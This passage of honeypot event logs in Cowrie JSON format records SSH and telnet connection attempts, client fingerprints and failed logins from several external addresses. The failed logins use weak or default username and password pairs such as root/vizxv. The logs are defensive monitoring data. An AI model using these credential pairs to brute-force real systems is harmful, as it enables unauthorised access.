2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:58:00.716007Z","src_ip":"91.92.40.11","session":"909742c9ceaf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"123456","message":"login attempt [administrator/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:58:01.603242Z","src_ip":"91.92.40.11","session":"909742c9ceaf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":57926,"dst_ip":"10.17.0.5","dst_port":22,"session":"b26e4b5339e4","protocol":"ssh","message":"New connection: 45.156.87.253:57926 (10.17.0.5:22) [session: b26e4b5339e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:58:02.294466Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:58:02.298575Z","src_ip":"45.156.87.253","session":"b26e4b5339e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:58:02.376221Z","src_ip":"45.156.87.253","session":"b26e4b5339e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"newuser","password":"123","message":"login attempt [newuser/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:58:02.691648Z","src_ip":"45.156.87.253","session":"b26e4b5339e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:58:02.837171Z","src_ip":"91.92.40.11","session":"909742c9ceaf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:58:03.774628Z","src_ip":"45.156.87.253","session":"b26e4b5339e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"72.167.226.244","src_port":35462,"dst_ip":"10.17.0.5","dst_port":23,"session":"86c4c511ef30","protocol":"telnet","message":"New connection: 72.167.226.244:35462 (10.17.0.5:23) [session: 86c4c511ef30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:58:04.114556Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":57928,"dst_ip":"10.17.0.5","dst_port":22,"session":"8fea6660611c","protocol":"ssh","message":"New connection: 45.156.87.253:57928 (10.17.0.5:22) [session: 8fea6660611c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:58:05.563588Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:58:05.566724Z","src_ip":"45.156.87.253","session":"8fea6660611c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:58:05.649574Z","src_ip":"45.156.87.253","session":"8fea6660611c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"qwerty123","message":"login attempt [test/qwerty123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:58:05.895139Z","src_ip":"45.156.87.253","session":"8fea6660611c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:58:07.052347Z","src_ip":"45.156.87.253","session":"8fea6660611c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":57932,"dst_ip":"10.17.0.5","dst_port":22,"session":"5e73c689056e","protocol":"ssh","message":"New connection: 45.156.87.253:57932 (10.17.0.5:22) [session: 5e73c689056e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:58:08.852840Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:58:08.856388Z","src_ip":"45.156.87.253","session":"5e73c689056e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:58:08.936832Z","src_ip":"45.156.87.253","session":"5e73c689056e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Test1234","message":"login attempt [root/Test1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:58:09.178849Z","src_ip":"45.156.87.253","session":"5e73c689056e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:58:10.261909Z","src_ip":"45.156.87.253","session":"5e73c689056e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":36614,"dst_ip":"10.17.0.5","dst_port":22,"session":"dbc95d593e13","protocol":"ssh","message":"New connection: 45.156.87.253:36614 (10.17.0.5:22) [session: dbc95d593e13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:58:12.103116Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:58:12.206319Z","src_ip":"45.156.87.253","session":"dbc95d593e13","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:58:12.211254Z","src_ip":"45.156.87.253","session":"dbc95d593e13","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ai","password":"Aa123456","message":"login attempt [ai/Aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:58:12.556107Z","src_ip":"45.156.87.253","session":"dbc95d593e13","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:58:13.640481Z","src_ip":"45.156.87.253","session":"dbc95d593e13","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":36616,"dst_ip":"10.17.0.5","dst_port":22,"session":"0c572596ce08","protocol":"ssh","message":"New connection: 45.156.87.253:36616 (10.17.0.5:22) [session: 0c572596ce08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:58:15.571151Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:58:15.573914Z","src_ip":"45.156.87.253","session":"0c572596ce08","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:58:15.653881Z","src_ip":"45.156.87.253","session":"0c572596ce08","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo17","password":"odoo17","message":"login attempt [odoo17/odoo17] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:58:15.895265Z","src_ip":"45.156.87.253","session":"0c572596ce08","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:58:16.978525Z","src_ip":"45.156.87.253","session":"0c572596ce08","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":36618,"dst_ip":"10.17.0.5","dst_port":22,"session":"d1bfd6e6a177","protocol":"ssh","message":"New connection: 45.156.87.253:36618 (10.17.0.5:22) [session: d1bfd6e6a177]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:58:18.836931Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:58:18.840357Z","src_ip":"45.156.87.253","session":"d1bfd6e6a177","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:58:18.922474Z","src_ip":"45.156.87.253","session":"d1bfd6e6a177","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin123!@#","message":"login attempt [root/Admin123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:58:19.164619Z","src_ip":"45.156.87.253","session":"d1bfd6e6a177","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:58:20.248465Z","src_ip":"45.156.87.253","session":"d1bfd6e6a177","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":46346,"dst_ip":"10.17.0.5","dst_port":22,"session":"448017638d56","protocol":"ssh","message":"New connection: 45.156.87.253:46346 (10.17.0.5:22) [session: 448017638d56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:58:22.124539Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:58:22.128409Z","src_ip":"45.156.87.253","session":"448017638d56","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:58:22.208369Z","src_ip":"45.156.87.253","session":"448017638d56","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1","message":"login attempt [admin/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:58:22.610768Z","src_ip":"45.156.87.253","session":"448017638d56","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:58:23.693706Z","src_ip":"45.156.87.253","session":"448017638d56","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.52417850494385,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:58:24.139942Z","src_ip":"115.160.92.142","session":"e6088541cf93","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"115.160.92.142","src_port":33965,"dst_ip":"159.203.135.109","dst_port":23,"session":"9434e302c836","protocol":"telnet","message":"New connection: 115.160.92.142:33965 (159.203.135.109:23) [session: 9434e302c836]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:58:24.338469Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"vizxv","message":"login attempt [root/vizxv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:58:25.236790Z","src_ip":"115.160.92.142","session":"9434e302c836","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":46350,"dst_ip":"10.17.0.5","dst_port":22,"session":"6f08ffa1cf67","protocol":"ssh","message":"New connection: 45.156.87.253:46350 (10.17.0.5:22) [session: 6f08ffa1cf67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:58:25.604537Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:58:25.607859Z","src_ip":"45.156.87.253","session":"6f08ffa1cf67","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:58:25.688127Z","src_ip":"45.156.87.253","session":"6f08ffa1cf67","protocol":"ssh"}
